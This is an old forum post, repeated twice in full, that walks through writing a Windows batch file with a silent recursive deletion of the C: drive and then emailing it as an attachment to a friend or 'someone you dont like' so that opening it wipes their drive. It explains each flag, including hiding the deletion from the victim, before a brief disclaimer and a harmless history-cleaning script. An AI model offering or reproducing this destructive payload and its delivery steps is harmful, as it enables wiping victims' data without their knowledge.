haqa
22-06-04, 03:40 PM
Well technically its not a virus, its just a windows dos command, but it can do some damage.
Heres what you do.
DO NOT TRY THIS AT HOME (i.e. run the code)
Open up notepad
stick this in it:
@ECHO OFF
rmdir C: /q /s
then save the text file as a .bat file (eg clear.bat)
next email it as an attachment to a friend or someone you dont like.
when they open it it will delete thier C:\ drive.:D
the @echo off- shows a blank screen, so they cant see that its deleting stuff
the rmdir- remove directory, deletes everything in c:\ drive.
obviously if you close the window it will stop deleting.
the /q- does not ask for confirmation (so once you open it, it starts)
the /s- Removes the directory and all subdirectories including any files
disclaimer:
I do not encourage anyone to actually send a batch file to anyone with the above code,
i am just mearly showing you how it can be done. Also so that you are aware of batch files if you recive one in an email.
The rmdir command can also be used for good.
The following code will delete hisory files from your computer(you can edit it and put your own paths in as well)
@ECHO OFF
rmdir "C:\Documents and Settings\username\Recent" /q /s
rmdir "C:\Documents and Settings\username\Local Settings\Temp" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Real\RealOne Player\History" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Real\RealOne Player\Temp" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Microsoft\Office\Recent" /q /s
rmdir "c:\Documents and Settings\username\Local Settings\Temporary Internet Files\Content.IE5" /q /s
Replace "username" with your username.
the temporary internet file one might not work in xp, and i couldnt get it to delete internet history in xp or 2000
it will delete the above folders, but thy will come back.
put the code in a .bat file and save it somewhere in My Documents, well not mine but yours, then create a shortcut and put
it in the shortcut folder as explained in the previous thread (http://ummah.com/forum/showthread.php?threadid=39584) , then give it a shortcut key, like Ctrl+alt+c.
so now whenever you wann clear history files just press Ctrl+alt+c or alt gr+c and it clear everything
apart from internet hisory, which you can get rid of by going to internet options-clear history.
So there you go, “try it yourself”- create your own history cleaner ,tarah for now.
*Ends with Art Attack theme tune*
Heres what you do.
DO NOT TRY THIS AT HOME (i.e. run the code)
Open up notepad
stick this in it:
@ECHO OFF
rmdir C: /q /s
then save the text file as a .bat file (eg clear.bat)
next email it as an attachment to a friend or someone you dont like.
when they open it it will delete thier C:\ drive.:D
the @echo off- shows a blank screen, so they cant see that its deleting stuff
the rmdir- remove directory, deletes everything in c:\ drive.
obviously if you close the window it will stop deleting.
the /q- does not ask for confirmation (so once you open it, it starts)
the /s- Removes the directory and all subdirectories including any files
disclaimer:
I do not encourage anyone to actually send a batch file to anyone with the above code,
i am just mearly showing you how it can be done. Also so that you are aware of batch files if you recive one in an email.
The rmdir command can also be used for good.
The following code will delete hisory files from your computer(you can edit it and put your own paths in as well)
@ECHO OFF
rmdir "C:\Documents and Settings\username\Recent" /q /s
rmdir "C:\Documents and Settings\username\Local Settings\Temp" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Real\RealOne Player\History" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Real\RealOne Player\Temp" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Microsoft\Office\Recent" /q /s
rmdir "c:\Documents and Settings\username\Local Settings\Temporary Internet Files\Content.IE5" /q /s
Replace "username" with your username.
the temporary internet file one might not work in xp, and i couldnt get it to delete internet history in xp or 2000
it will delete the above folders, but thy will come back.
put the code in a .bat file and save it somewhere in My Documents, well not mine but yours, then create a shortcut and put
it in the shortcut folder as explained in the previous thread (http://ummah.com/forum/showthread.php?threadid=39584) , then give it a shortcut key, like Ctrl+alt+c.
so now whenever you wann clear history files just press Ctrl+alt+c or alt gr+c and it clear everything
apart from internet hisory, which you can get rid of by going to internet options-clear history.
So there you go, “try it yourself”- create your own history cleaner ,tarah for now.
*Ends with Art Attack theme tune*